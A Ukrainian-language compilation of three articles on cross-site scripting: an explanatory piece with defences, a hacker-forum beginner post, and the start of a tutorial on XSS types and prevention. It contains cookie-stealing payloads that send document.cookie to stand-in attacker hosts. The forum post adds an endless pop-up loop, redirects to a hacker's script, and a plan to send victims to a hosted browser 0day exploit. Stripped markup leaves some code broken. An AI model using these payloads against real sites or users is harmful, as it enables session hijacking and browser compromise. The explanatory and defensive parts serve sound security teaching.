Орі Сігал (Ory Segal)

Дізнайтеся, як хакери використовують атаку типу "міжсайтовий скриптинг", що вона пошкоджує (а що ні), як їх визначати, а також як захистити свій Web-сайт та його відвідувачів від подібних зловмисних порушень конфіденційності та безпеки.

Міжсайтовий скриптинг (cross-site scripting або скорочено XSS) - це одна з найчастіших атак рівня програми, яку хакери використовують для злому Web-додатків. XSS – це атака на конфіденційність інформації клієнтів певного Web-сайту. Вона може призвести до повного руйнування системи безпеки, коли дані клієнта крадуться і використовуються надалі для будь-яких цілей. Більшість атак має на увазі участь двох сторін: або зловмисника та Web-сайт, або зловмисника та жертву-клієнта. Проте в атаці XSS беруть участь три сторони: зловмисник, клієнт та веб-сайт.

Метою атаки XSS є крадіжка з комп'ютера клієнта файлів cookie або інший конфіденційної інформаціїяка може ідентифікувати клієнта на веб-сайті. Маючи інформацію для ідентифікації як легального користувача, зловмисник може діяти на сайті як такий користувач, тобто. вдавати їм. Наприклад, при одному аудиті, що проводиться у великій компанії, можна було за допомогою атаки XSS отримати приватну інформаціюкористувача та номер його кредитної картки. Це було досягнуто шляхом запуску спеціального кодуна JavaScript. Цей код був запущений у браузері жертви (клієнта), яка мала привілеї доступу на Web-сайт. Є дуже обмежена кількість привілеїв JavaScript, які не дають доступу скрипту ні до чого, крім інформації, що відноситься до сайту. Важливо підкреслити, що, хоча вразливість і існує на Web-сайті, сам він безпосередньо не ушкоджується. Але цього достатньо, щоб скрипт зібрав файли cookie та надіслав їх зловмиснику. У результаті зловмисник отримує необхідні дані і може імітувати жертву.

Давайте назвемо атакований сайт так: www.vulnerable.site . В основі традиційної атаки XSS лежить уразливий скрипт, який знаходиться на вразливому сайті. Цей скрипт зчитує частину HTTP-запиту (зазвичай параметри, але іноді також HTTP-заголовки або шлях) і повторює його для сторінки у відповідь, повністю або тільки частина. При цьому не здійснюється очищення запиту (тобто не перевіряється, що запит не містить код JavaScript або HTML-теги). Припустимо, що цей скрипт називається welcome.cgi і його параметром є ім'я. Його можна використовувати наступним чином:

Як цим можна зловживати? Зловмисник повинен залучити клієнта (жертву), щоб він клацнув мишею посилання, яке зловмисник йому надає. Це ретельно та зловмисно підготовлене посилання, яке змушує Web-браузер жертви звернутися до сайту (www.vulnerable.site) та виконати вразливий скрипт. Дані для цього скрипта містять код JavaScript, який отримує доступ до файлів cookie, збережених браузером клієнта для сайту www.vulnerable.site. Це допускається, оскільки браузер клієнта "думає", що код JavaScript виходить від сайту www.vulnerable.site. А модель безпеки JavaScriptдозволяє скриптам, що походять від певного сайту, отримувати доступ до файлів cookie, які належать цьому сайту.

Відповідь вразливого сайту буде такою:

Welcome! Hi alert(document.cookie) Welcome to our system ...

Браузер клієнта-жертви інтерпретує цей запит як HTML-сторінку, що містить частину коду JavaScript. Цей код отримає доступ до всіх файлів cookie, що належать сайту www.vulnerable.site. Отже, він викличе спливаюче вікно в браузері, що показує всі файли cookie клієнта, які відносяться до www.vulnerable.site.

Звичайно, реальна атакапередбачала б відправлення цих файлів атакуючого. Для цього атакуючий може створити Web-сайт (www.attacker.site) та використати скрипт для отримання файлів cookie. Замість виклику спливаючого вікна зловмисник написав би код, який звертається за URL-адресою до сайту www.attacker.site. У зв'язку з цим виконується скрипт отримання файлів cookie. Параметром для цього скрипта є вкрадені файли cookie. Таким чином, зловмисник може отримати файли cookie із сервера www.attacker.site.

Негайно після завантаження цієї сторінки браузер виконає вставлений туди код JavaScript і перешле запит скрипту collect.cgi на сайті www.attacker.site разом із значенням файлів cookie із сайту www.vulnerable.site, які вже є у браузері. Це підриває безпеку файлів cookie сайту www.vulnerable.site, які є у клієнта. Це дозволяє зловмиснику прикинутися жертвою. Конфіденційність клієнта повністю порушена.

Примітка.
Зазвичай виклик спливаючого вікна з допомогою JavaScriptдостатньо, щоб продемонструвати вразливість сайту до атаки XSS. Якщо з JavaScript можна викликати функцію Alert, то зазвичай немає причин, через які виклик може не вийти. Саме тому більшість прикладів атак XSS використовує функцію Alert, яка дуже легко дозволяє визначити успіх атаки.

Атака може статися тільки в браузері жертви, тому самому, який використовувався для доступу до сайту (www.vulnerable.site). Атакуючий повинен змусити клієнта отримати доступ до шкідливе посилання. Цього можна досягти декількома способами.

• Зловмисник посилає по електронній поштіповідомлення, що містить HTML-сторінку, яка змушує браузер відкрити посилання. Для цього потрібно, щоб жертва використовувала клієнт електронної пошти, здатний працювати з HTML. А засобом перегляду HTML у клієнті має бути той самий браузер, який використовується для доступу до сайту www.vulnerable.site.

• Клієнт відвідує сайт, можливо, створений зловмисником, на якому посилання на зображення чи інше активний елемент HTML змушує браузер відкрити посилання. Знову ж таки в цьому випадку обов'язково, щоб для доступу і до цього сайту, і до сайту www.vulnerable.site використовувався один і той же браузер.

Шкідливий код на JavaScript може отримати доступ до будь-якої наведеної нижче інформації:

• постійні файли cookie (сайту www.vulnerable.site), які зберігає браузер;
• файли cookie в оперативної пам'яті(сайту www.vulnerable.site), що підтримуються екземпляром браузера тільки при перегляді сайту www.vulnerable.site;
• імена інших вікон, які відкриті для сайту www.vulnerable.site.
• будь-яка інформація, яка доступна через поточну модель DOM(Зі значень, коду HTML і т.д.).

Дані для ідентифікації, авторизації та автентифікації зазвичай зберігаються як файли cookie. Якщо ці файли cookie постійні, то жертва вразлива для атаки навіть тоді, коли вона не використовує браузер у момент доступу до сайту www.vulnerable.site. Однак, якщо файли cookie - тимчасові (наприклад, вони зберігаються в оперативній пам'яті), то на стороні клієнта має існувати сеанс зв'язку з сайтом www.vulnerable.site.

Ще одна можлива реалізація ідентифікаційної мітки – це параметр URL. У подібних випадках можна отримати доступ до інших вікон, використовуючи JavaScript наступним чином (припустимо, що ім'я сторінки з потрібними параметрами URL - foobar):

var victim_window=open(","foobar");alert("Can access: +victim_window.location.search)

Щоб запустити скрипт на JavaScript, можна використовувати безліч HTML-тегів, крім . Насправді, шкідливий код JavaScript також можна розмістити на іншому сервері, а потім змусити клієнта завантажити скрипт та виконати його. Це може бути корисним, якщо потрібно запустити великий обсяг коду або якщо код містить спеціальні символи.

Ось кілька варіацій цих можливостей.

• Замість ... хакери можуть використовувати конструкцію. Це підходить для сайтів, які фільтрують HTML-тег.

• Замість ... можна використовувати конструкцію. Це добре в ситуації, коли код JavaScript занадто довгий, або якщо він містить заборонені символи.

Іноді дані, впроваджені в сторінку у відповідь, знаходяться в платному HTML-контексті. У цьому випадку спочатку потрібно "втекти" у безкоштовний контекст, а потім розпочати атаку XSS. Наприклад, якщо дані вставляються як значення за замовчуванням для поля форми HTML:

А підсумковий код HTML буде наступним:

window.open ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)"> Досі ми бачили, що атака XSS може відбуватися у параметрі запиту GET, який відповідає скрипт. Але виконати атаку можна і за допомогою запиту POST або з використанням компонента шляху запиту HTTP, і навіть за допомогою деяких заголовків HTTP (наприклад, Referer). Зокрема компонент шляху (path) корисний, коли сторінка помилки повертає помилковий шлях. У цьому випадку включення шкідливого скрипта в дорогу часто призводить до виконання. Багато Web-серверів уразливі для цієї атаки. Важливо розуміти, що, хоча Web-сайт і не торкнеться прямо цієї атаки (він продовжує нормально працювати, шкідливий код на ньому не виконується, атака DoSне відбувається, і дані з сайту безпосередньо не зчитуються і не підробляються), це все ж таки пролом в системі безпеки, яку сайт пропонує своїм клієнтам або відвідувачам. Це схоже на сайт, який використовується для розгортання програми зі слабкими мітками безпеки. Через це зловмисник може вгадати мітку безпеки клієнта та прикинутися ним (або їй). Слабким місцем у програмі є скрипт, який повертає свій параметр незалежно від його значення. Хороший скрипт повинен переконатися, що параметр правильний формат, Що він містить прийнятні символи і т.д. Зазвичай немає причин, щоб правильний параметрмістив теги HTML або JavaScript. Вони повинні бути видалені з параметра до того, як він буде впроваджений у відповідь або використаний у програмі. Це дозволить забезпечити безпеку. Убезпечити сайт від атак XSS можна трьома способами. За допомогою виконання власної фільтрації вхідних даних (яку іноді називають вхідним санітарним контролем або input sanitation). Для кожного введення користувача (будь то параметр або заголовок HTML), у кожному написаному самостійно скрипті слід застосовувати розширені засоби фільтрації проти тегів HTML, включаючи код JavaScript. Наприклад, скрипт welcome.cgi із попереднього прикладу повинен фільтрувати тег після декодування параметра імені. Цей метод має кілька серйозних вад. Він вимагає від прикладного програміста гарного знаннятехнологій безпеки. Він вимагає від програміста охоплення всіх можливих джерелвхідних даних (параметрів запитів, параметрів тіла запитів POST, заголовки HTTP). Він не може захистити від уразливостей у скриптах чи серверах сторонніх виробників. Наприклад, він не захистить від проблем у сторінках помилки на Web-серверах (які відображають шлях джерела). Виконання " вихідної фільтрації " , тобто. фільтрація даних користувача, коли вони пересилаються назад у браузер, а не коли їх отримує скрипт. Гарним прикладомцього підходу може стати скрипт, який вставляє дані до бази даних, а потім їх відображає. У цьому випадку важливо застосовувати фільтр не вихідному вхідному рядку, а лише до вихідної версії. Недоліки цього схожі на недоліки вхідної фільтрації. Встановлення міжмережевого екрана програм (брандмауера) стороннього виробника. Цей екран перехоплює атаки XSS до того, як вони досягнуть Web-сервера та вразливих скриптів, та блокує їх. Міжмережеві екрани програм можуть охоплювати всі методи введення, працюючи з ними. загальним способом(включаючи шлях і заголовки HTTP), незалежно від скрипта або шляху з власної програми, скрипта стороннього виробника або скрипта, який взагалі не описує жодних ресурсів (наприклад, призначений для того, щоб спровокувати сторінку 404 у відповідь з сервера). Для кожного джерела вхідних даних міжмережевий екран програм перевіряє дані на наявність різних зразків HTML-тегів і коду JavaScript. Якщо є якісь збіги, запит блокується, і шкідливі дані не досягають сервера. Логічним завершенням захисту сайту є перевірка його безпеки від атак XSS. Як і захист сайту від XSS, перевірку ступеня захисту можна проводити вручну (важкий спосіб) або за допомогою автоматизованого засобу оцінки вразливості Web-додатків. Такий інструмент зніме з вас навантаження, пов'язане з перевіркою. Ця програма переміщається сайтом і запускає всі відомі їй варіанти для всіх скриптів, які вона виявляє. При цьому пробуються всі параметри, заголовки та шляхи. В обох методах кожне введення додатка (параметри всіх скриптів, заголовки HTTP, шляхи) перевіряється з максимально можливою кількістю варіантів. І якщо сторінка у відповідь містить код JavaScript у контексті, де браузер може його виконати, то з'являється повідомлення про вразливість до XSS. Наприклад, при надсиланні наступного тексту: alert(document.cookie) кожному параметру кожного скрипта (через браузер із можливостями роботи з JavaScript, щоб виявити найпростіший вид уразливості до XSS) браузер викличе вікно JavaScript Alert, якщо текст інтерпретований як JavaScript. Звісно, ​​є кілька варіантів. Тому тестувати лише цей варіант недостатньо. І, як ви вже дізналися, можна вставляти JavaScript в різні поля запиту: параметри, заголовки HTTP і шлях. Однак у деяких випадках (особливо із заголовком HTTP Referer) виконувати атаку за допомогою браузера незручно. Міжсайтовий скриптинг – це одна з найчастіших атак рівня програми, яку хакери використовують для злому Web-додатків. Також вона є найнебезпечнішою. Це атака на конфіденційність інформації клієнтів певного веб-сайту. Вона може призвести до повного руйнування системи безпеки, коли дані клієнта крадуться та використовуються надалі для якихось цілей. На жаль, як пояснює ця стаття, це часто робиться без знань про клієнта або організації, що атакується. Щоб запобігти вразливості Web-сайтів до цих шкідливих дій, важливо, щоб організація реалізувала стратегію і онлайн-і оффлайн-захисту. Це включає засіб автоматизованої перевірки вразливості, який може протестувати на наявність всіх відомих вразливостей Web-сайтів і певних додатків(Наприклад, міжсайтовий скриптинг) на сайті. Для повного онлайн-захисту також життєво важливо встановити міжмережевий екран, який може виявляти та блокувати будь-який тип маніпуляцій з кодом та даними, що розміщуються на Web-серверах або за ними.

• Категорія: Без рубрики

,'," та багато інших. Спочатку значення змінної передається від HTML-сторінки, завантаженої у браузері.

XSS новачкам. Призначення XSS-атак

Вітаю вас, шановні відвідувачіПортала! Звати мене DrWeb. Я хочу розповісти Вам про призначення XSS-атак, оскільки XSS-уразливості становлять набагато більшу небезпеку, ніж просто крадіжка cookies. Про все по порядку.

Спочатку про XSS загалом. Абревіатура XSS розшифровується як Сross Site Sсriрting («міжсайтовий скриптинг»). Прийнято його називати саме XSS, а не СSS, тому що СSS введена набагато раніше, і означає вона Сasсading Style Sheets – «каскадні таблиці стилів» (застосовуються в оформленні HTML-сторінок). Сross – це «хрест», тому перша літера в «міжсайтовому скриптингу» замінена саме на «X».

XSS - це вразливість на сервері, що дозволяє впровадити в генеровану скриптами на сервері HTML-сторінку (не в скрипт, на відміну від РERL-або PHP-інклудингу) довільний код шляхом передачі його як значення змінної, що не фільтрується. (TRINUX добре описав цей вид атаки у статтях: http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 та http://www.hackzona.ru/hz. php?name=News&file=artiсle&sid=3490&mode=&order=0&thold=0). Під «нефільтрованою» змінною мається на увазі змінна, яка перед її використанням у скрипті (наприклад, PHP) не перевіряється на наявність заборонених символів, таких як: ,’,” та багатьох інших. Спочатку значення змінної передається від HTML-сторінки, завантаженої у браузері користувача, php-скрипту (через РOST- або GET-запит). РOST-запит передає змінні через масив, що не відображається в адресному рядкубраузера; GET-запит виявляє себе в адресному рядку таким чином:

http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0

Так, скрипту hz.php передадуться змінні: $name - зі значенням "News", $file - зі значенням "artiсle", $sid - зі значенням "3499" etс ... Звичайно, зручніше працювати з GET-запитами, тому хакер зберігає сторінку сайту, що зламується, і в рядку, типу

РOST замінює GET. Далі пхп-скрипт, наприклад, генерує хтмл-сторінку, в якій виводить значення однієї з переданих змінних без будь-якої фільтрації. АЛЕ! Якщо зловмисник, складаючи GET-запит, замість звичайного значення змінної підставить якісь ключові теги (наприклад, або ), вони виконуватимуться інтерпретатором!

Так вже закріпилося, що більшість комп'ютерних хуліганів використовують XSS тільки для крадіжки кукісів (cookies - здебільшого вони зберігають сесію, привласнивши собі яку, зловмисник зможе бути на сайті під чужим акаунтом, наприклад, у форумі, де бажана реєстрація. Також вони зберігають зашифрований пароль, розшифрувавши який, хуліган зможе заволодіти обліковим записом на 100%). Але XSS-баги не обмежуються крадіжкою cookies.

Власне, кульмінаційний абзац:).

Що ж дозволяє нам здійснити XSS-уразливості?

1) Усілякі «підлянки», пов'язані з обмеженням користувачів у нормальній діяльності на сайті. Наприклад, виведення нескінченного числа вікон (приклад нижче) або повідомлень (метод confirm або alert), як результат будь-якої дії користувача (натискання, наведення мишею на об'єкт, просто захід на сайт). Або ж переадресація на інший вузол. Спробуйте впровадити цей код (без змін) у вразливий сайт:

window.loсation.href="http://hackzona.ru"

Також, спочатку протестувавши на своєму комп'ютері, спробуйте наступний скрипт. Створіть файл 1.html з таким змістом:

for (i=1;i]0;i++)(oрen(\'1.html\',\'new\'+i);)

та відкрийте його в будь-якому браузері.

2)Крадіжку конфіденційної інформації відвідувача. В першу чергу сюди я віднесу крадіжку cookie (doсument.cookie) як найважливіший атрибут безпеки користувача (в цьому розділі). Також в цей розділ входить крадіжка інформації про систему користувача та браузер ( об'єкт navigator), поточному часі, IP-адресі, а також історії відвіданих сайтів (об'єкт history як масив; поточна сторінка history, попередня history[-1], всього сторінок history.length) та багато іншого. Ось приклад скрипта, що повертає IP-адресу відвідувача в змінну IP і ім'я комп'ютера в змінну host (перевірено в Orera, Mozilla, Mizilla Firefox):

myAddress=java.net.InetAddress.getLoсalHost();

myAddress2=java.net.InetAddress.getLoсalHost();

host=myAddress.getHostName();

iр=myAddress2.getHostAddress();

3) Все, що вміють СGI-, РERL-, PHP-, ASР-скрипти. А це все що вміє JS + багато приємних дрібниць. Тобто це другий спосіб крадіжки конфіденційної інформації. Він набагато зручніший, т.к. доводиться впроваджувати не весь код в HTML-сторінку через потрібну змінну, а лише посилання на скрипт; тим більше у цих скіптів більше можливостей. Мінус у тому, що це палевіший (при нераціональному використанні) і немобільний спосіб, тим більше жертва може якимось чином просікти небажане завантаження. Наприклад, ти впроваджуєш у HTML-сторінку наступний код:

window.loсation.href=\"http://hackzona.ru/haсkerssсriрt.php\"

Тут hackzona.ru – це сервер хакера, а haсkerssсriрt.php – це скрипт хакера, що виконує ті чи інші дії. Зайшовши на зламану сторінку, жертва переадресується на скрипт http://hackzona.ru/haсkerssсriрt.php, який зробить свою справу (якщо жертва не перерве завантаження). Звичайно, є менш палеві методи завантаження скриптів, ніж window.loсation.href; я привів його тільки щоб стало ясно.

4) Непередбачені стандартом можливості браузера. Існує безліч уразливостей браузерів, які при обробці будь-якого коду або викликають DoS, або надають доступ до певним файлам, або дозволяють виконувати довільний код у системі користувача, або ще щось не дуже приємне для користувача. Багато відомих і часто використовуваних браузерів (Internet Explorer, Netsсаре, Mozilla, Mozilla Firefox, Orera і все що створено на їх двигунах) вразливе. Невразливі лише деякі їх версії або пропачені браузери. Зовсім недавно (на момент написання статті) Бенджаміном Тобіасом Францем була виявлена ​​критична вразливість браузера Internet Explorer (v5.5, 6.0), що дозволяє виконати довільний код у системі користувача. Як же виконати довільний код у користувача, який зайшов на сайт, що має вразливість XSS? Залля експлоїт, написаний Стюартом Персоном (взяти його можна звідси: myphp4.h15.ru/0day-exрlorer.rar або з сайту seсuritylab.ru), що складається з чотирьох htm-і одного html-файлу, на наш сервер, наприклад, соolhaсker. yo. У вразливому сайті запровадимо наступний код

window.loсation.href=\"http://сoolhaсker.yo/0day.html\"

Тепер жертва, зайшовши на сторінку сервера, в яку ми впровадили код, переадресовується на сторінку-експлоїт http://сoolhaсker.yo/0day.html, яка виконає довільний код (у нашому випадку запустить сalс.exe).

І є комплексним підручником з міжсайтового скриптингу.

Частина перша: Що таке XSS?

Міжсайтовий скриптинг ( англ. Cross-site scripting) - це атака націлена на впровадження коду, що дозволяє зловмиснику виконати шкідливий JavaScript у браузері іншого користувача.

Зловмисник не атакує свою жертву безпосередньо. Натомість він використовує вразливість веб-сайту, який відвідує жертва і впроваджує шкідливий JavaScript код. У браузері жертви шкідливий JavaScript відображається як легітимна частина веб-сайту, а сам веб-сайт виступає як безпосередній учасник атакуючого.

Впровадження шкідливого JavaScript-коду

Єдиний спосіб для атакуючого запустити шкідливий JavaScript у браузері жертви - це впровадити його в одну зі сторінок, яку завантажує жертва з веб-сайту. Це можливо, якщо веб-сайт дозволяє користувачам вводити дані на своїх сторінках, а атакуючий зможе вставити рядок, який визначатиметься як частина коду в браузері жертви.

У наведеному нижче прикладі показано простий серверний скрипт, який використовується для відображення останнього коментаря на сайті:

print ""
print "Останній коментар:"
print database.latestComment
print ""

Скрипт передбачає, що коментар складається лише із тексту. Однак, оскільки включено безпосереднє введення користувача, зловмисник може залишити цей коментар: "..." . Будь-який користувач, який відвідав сторінку, тепер отримуватиме наступну відповідь:

Останній коментар:
...

Коли браузер користувача завантажує сторінку, він буде виконувати все, у тому числі JavaScript код, що міститься всередині тегів . Атакуючий успішно провів атаку.

Що таке шкідливий JavaScript?

Можливість виконання JavaScriptу браузері жертви може здатися не дуже шкідливою. JavaScript працює в дуже обмеженому середовищі, яке має вкрай обмежений доступ до файлів користувача та операційної системи. Насправді ви можете відкрити консоль JavaScriptу своєму браузері прямо зараз і виконати будь-який JavaScript який хочете, і дуже малоймовірно, що ви зможете завдати будь-якої шкоди вашому комп'ютеру.

Тим не менш, можливості JavaScript-коду як шкідливого стають більш зрозумілими, якщо врахувати такі факти:

• JavaScript має доступ до деякої конфіденційної інформації користувача, наприклад, куки (cookies).
• JavaScript може надсилати HTTP-запити з довільним вмістом у довільному напрямку за допомогою XMLHttpRequest та інших механізмів.
• JavaScript може змінювати HTML-код поточної сторінки за допомогою методів маніпулювання DOM.

У разі комбінування ці факти можуть спричинити дуже серйозні порушення правил безпеки, подробиці будуть далі.

Наслідки шкідливого JavaScript-коду

Крім цього, можливість виконати довільний JavaScript у браузері іншого користувача дозволяє зловмиснику здійснити наступні типиатак:

Крадіжка кукі

зловмисник може отримати доступ до cookie-записів жертви, пов'язаних з веб-сайтом, використовуючи document.cookie , відправити їх на свій власний серверта використовувати їх для отримання конфіденційної інформації, такої як ідентифікатори сеансів.

Кейлоггер

зловмисник може зареєструвати слухача подій клавіатури, використовуючи addEventListener , а потім відправити всі натискання клавіш користувача на свій сервер, потенційно записавши конфіденційну інформацію, наприклад, паролі та номери кредитних карток.

Фішинг

зловмисник може вставити підроблену форму для входу на сторінку, використовуючи маніпуляції DOM, встановивши action атрибути форми на власний сервер, а потім обдурити користувача для отримання конфіденційної інформації.

Хоча ці атаки суттєво різняться, всі вони мають одну суттєву схожість: оскільки зловмисник впроваджує код на сторінку сайту, шкідливий JavaScript виконується в контексті цього веб-сайту. Це означає, що він розглядається як будь-який інший сценарій з цього сайту: він має доступ до даних жертви для цього веб-сайту (наприклад куки-записи) та ім'я хоста, що відображається в рядку URLбуде те саме, що й у веб-сайту. Для всіх цілей сценарій вважається законною частиною веб-сайту, що дозволяє робити все, що може робити сам веб-сайт.

Цей факт наголошує на ключовій проблемі:

Якщо зловмисник може використовувати ваш веб-сайт, для виконання довільного JavaScript-коду в браузері інших користувачів безпека вашого веб-сайту та його користувачів скомпрометована.

Щоб наголосити на цьому моменті, деякі приклади шкідливого скрипту в цьому підручнику залишатимуться без подробиць, використовуючи ... . Це свідчить про те, що проста присутність скрипта, що впроваджується атакуючим, є проблемою, незалежно від того, який конкретний код сценарію насправді виконується.

Частина друга: XSS-атака Учасники XSS-атаки

Перед тим, як детально описати, як працює атака XSS, нам необхідно визначити суб'єктів, що беруть участь в атаці XSS. Загалом, в атаці XSS присутні три учасники: веб-сайт, жертва, і зломщик.

• Веб-сайт видає HTML-сторінки для користувачів, які їх запросили. У наших прикладах він знаходиться за адресою http://website/.
  • База даних веб-сайту є базою даних, яка зберігає деякі введені користувачами дані на сторінках сайту.
• Жертва – це звичайний користувачвеб-сайту, який запитує сторінки в нього за допомогою браузера.
• Атакуючий - це зловмисник, який має намір розпочати атаку на жертву за рахунок використання XSS-уразливості на сайті.
  • Сервер зломщика – це веб-сервер під контролем зловмисника з єдиною метою – крадіжка конфіденційної інформації жертви. У наших прикладах він знаходиться за адресою http://attacker/ .

Приклад сценарію атаки

window.location="http://attacker/?cookie="+document.cookie

Цей скрипт створить HTTP-запит на іншу URL-адресу, яка перенаправить браузер користувача на сервер атакуючого. URL-адреса включає куки жертви як параметр запиту, коли HTTP-запит приходить на сервер атакуючого, зловмисник може витягти ці куки з запиту. Після того, як зловмисник отримав кукі, він може використовувати їх, щоб видати себе за жертву і почати наступний напад.

З цього моменту, наведений вище HTML код буде називатися шкідливим рядком або шкідливим скриптом . Важливо розуміти, що сам рядок є шкідливим лише якщо він, зрештою, обробляється як HTML-код у браузері жертви, а це може статися лише у разі наявності XSS-уразливості на веб-сайті.

Як працює цей приклад атаки

На схемі нижче показаний приклад виконання атаки зловмисником:

Атакуючий використовує одну з форм веб-сайту для того, щоб вставити шкідливий рядок у базу даних веб-сайту.

Жертва запитує сторінку з веб-сайту.

Сайт включає шкідливий рядок з бази даних у відповідь та відправляє його до жертви.

Браузер жертви виконує шкідливий сценарій усередині відповіді, відправляючи куки жертви на сервер зловмисника.

Типи XSS

Мета XSS-атаки завжди полягає у виконанні шкідливого JavaScript скрипту браузері жертви. Існує кілька принципово різних способів досягнення цієї мети. XSS-атаки часто поділяються на три типи:

• Зберігають (постійні) XSS , де шкідливий рядок бере свій початок з бази даних веб-сайту.
• Відбиті (непостійні) XSS , де шкідливий рядок породжується із запиту жертви.
• DOM-моделі XSS , де вразливість виникає у коді за клієнта, а чи не за серверного коду.

У попередньому прикладі показана XSS-атака, що зберігається. Тепер ми опишемо два інші типи XSS-атак: відбитий XSS і XSS-атака DOM-моделі.

Відображений XSS

У разі відображеного XSS-атаки шкідливий рядок є частиною запиту жертви на веб-сайт. Сайт приймає і вставляє цей шкідливий рядок у відповідь, що відправляється назад користувачу. Схема нижче ілюструє цей сценарій:

Жертва обманним шляхом атакуючого надсилає URL-запит на веб-сайт.

Сайт включає шкідливий рядок із URL-запиту у відповідь жертві.

Браузер жертви виконує шкідливий сценарій, що міститься у відповіді, посилаючи куки жертви на сервер зловмисника.

Як успішно провести відбиту XSS-атаку?

Відбита XSS-атака може здатися невинною, оскільки вона вимагає, щоб жертва від свого імені надіслала запит, що містить шкідливий рядок. Так як ніхто не добровільно атакуватиме себе, то здається, що не існує способу фактичного виконання атаки.

Як з'ясовується, є по Крайній мірідва поширені способи змусити жертву почати відбиту XSS-атаку проти себе:

• Якщо користувач є конкретною особистістю, зловмисник може відправити шкідливе URL-посилання жертві (наприклад, за допомогою електронної пошти або месенджера), і обманом змусити його відкрити посилання для відвідування веб-сайту.
• Якщо мета – це велика групакористувачів, зловмисник може опублікувати посилання на шкідливий URL (наприклад на своєму власному веб-сайті або в соціальної мережі) і чекати відвідувачів, які перейдуть за посиланням.

Обидва ці методи схожі, і обидва вони можуть бути успішнішими з використанням служб, що дозволяють «укоротити» URL-адресу, вони замаскують шкідливий рядок від користувачів, які могли б ідентифікувати його.

XSS у DOM-моделі

XSS в DOM-моделі є варіантом як збереженої і відбитої XSS-атаки. У цій XSS-атаці шкідливий рядок не обробляється браузером жертви, доки цей JavaScript веб-сайту не виконається. Схема нижче ілюструє цей сценарій для відображеної XSS-атаки:

Атакуючий створює URL-адресу, що містить шкідливий рядок, і відправляє її жертві.

Жертва обманним шляхом атакуючого надсилає URL-запит на веб-сайт.

Сайт приймає запит, але не включає у відповідь шкідливий рядок.

Браузер жертви виконує легітимний сценарій, що міститься у відповіді, внаслідок чого шкідливий скриптбуде вставлено до сторінки.

Браузер жертви виконує шкідливий скрипт, вставлений у сторінку, посилаючи куки жертви на сервер зловмисника.

У чому відмінність XSS у DOM-моделі?

У попередніх прикладах, що зберігаються і відображені XSS-атак сервер вставляє шкідливий скрипт на сторінку, яка потім пересилається у відповіді до жертви. Коли браузер жертви отримав відповідь, він передбачає, що шкідливий скрипт є частиною легітимного змісту сторінки, і автоматично виконує його під час завантаження сторінки, як будь-який інший сценарій.

У прикладі XSS-атаки в DOM-моделі шкідливий скрипт не вставляється як частина сторінки; єдиний скрипт, який автоматично виконується під час завантаження сторінки, є легітимною частиною сторінки. Проблема полягає в тому, що цей легітимний сценарій безпосередньо використовує введення користувача для того, щоб додати HTML на сторінку. Оскільки шкідливий рядок вставляється в сторінку за допомогою innerHTML, вона аналізується як HTML, внаслідок чого шкідливий скрипт буде виконуватися.

Ця різниця невелика, але дуже важлива:

• У традиційному XSS шкідливий JavaScript виконується під час завантаження сторінки, як частина HTML, відправленого сервером.
• У разі XSS у DOM-моделі шкідливий JavaScript виконується після завантаження сторінки, в результаті ця сторінка з легітимним JavaScript звертається небезпечним способом до введення користувача (що містить шкідливий рядок).

Як працює XSS у DOM-моделі?

У попередньому прикладі немає потреби в JavaScript; сервер може генерувати все HTML сам собою. Якщо код на стороні сервера не містить уразливостей, веб-сайт не схильний до вразливості XSS.

Однак, оскільки веб-програми стають більш просунутими, все Велика кількість HTML-сторінок генерується за допомогою JavaScript на стороні клієнта, а чи не на сервері. У будь-який час контент повинен змінюватися без оновлення всієї сторінки, це можливо з використанням JavaScript. Зокрема, це той випадок, коли сторінка оновлюється після запиту AJAX.

Це означає, що XSS вразливості можуть бути присутніми не тільки на серверній частині коду вашого сайту, але і на стороні JavaScript-коду клієнта вашого сайту. Отже, навіть при повністю безпечному коді на стороні сервера, клієнтський код може все ще не безпечно включати введення даних користувача при оновленні DOM після завантаження сторінки. Якщо це станеться, код з боку клієнта дозволить провести XSS-атаку не з вини коду з боку сервера.

XSS на основі DOM-моделі може бути невидимим для сервера

Існує особливий випадок XSS-атаки в DOM-моделі, в якому шкідливий рядок ніколи не відправляється на сервер веб-сайту: це відбувається тоді, коли шкідливий рядок міститься у фрагменті ідентифікатора URL-адреси (щось після символу #). Браузери не надсилають цю частину URL на сервер, так що веб-сайт не має доступу до нього за допомогою коду на стороні сервера. Код з боку клієнта, однак, має доступ до нього, і, таким чином, можливе проведення XSS-атаки шляхом небезпечної обробки.

Цей випадок не обмежується ідентифікатором фрагмента. Існує й інше введення користувача, яке є невидимим для сервера, наприклад, нові функції HTML5, такі як LocalStorage і IndexedDB.

Частина третя:
Запобігання XSS Методи запобігання XSS

Нагадаємо, що XSS є атакою типу впровадження коду: введені дані користувачем помилково інтерпретуються як шкідливий програмний код. Щоб не допустити цього типу ін'єкції коду, потрібна безпечна обробка введення. Для веб-розробника існує два принципово різних способувиконання безпечної обробки введення:

• Кодування - це спосіб, який дозволяє зробити введення даних користувачем тільки як дані і не дозволяє обробці браузеру як коду.
• Валідація - це спосіб фільтрує введення користувача так, що браузер інтерпретує його як код без шкідливих команд.

Хоча це принципово різні методи запобігання XSS, вони мають декілька загальних рисякі є важливими для розуміння при використанні будь-якого з них:

Контекст Безпечна обробка вводу повинна бути виконана по-різному залежно від того, де на сторінці використовується введення користувача. вхідний/вихідний Безпечна обробка введення може бути виконана або, коли ваш сайт отримує вхідні дані ( вхідний трафік) або просто перед тим, як сайт вставляє введення користувача в вміст сторінки (вихідний). Клієнт/Сервер Безпечна обробка введення може бути виконана або на стороні клієнта або на стороні сервера, кожен варіант необхідний за різних обставин.

Перш ніж пояснювати в деталях, як працює кодування та валідація, ми опишемо кожен з цих пунктів.

Обробка введення користувача в контекстах

Є багато контекстів на веб-сторінці, де може бути застосований введення користувача. Для кожного з них повинні бути дотримані особливі правила для того, щоб введення користувача не могло «вирватися» зі свого контексту і не могло бути інтерпретовано як шкідливий код. Нижче наведені найпоширеніші контексти:

Яке значення мають контексти?

У всіх описаних контекстах вразливість, що призводить до XSS, може виникнути, якщо дані, що вводяться користувачем, були вставлені до першого кодування або валідації. Зловмисник може впровадити шкідливий код, просто вставивши закриваючий роздільник для цього контексту і слідом за ним шкідливий код.

Наприклад, якщо в якийсь момент веб-сайт включає введення даних користувачем безпосередньо в атрибут HTML, зловмисник зможе впровадити шкідливий сценарій, розпочавши своє введення з лапки, як показано нижче:

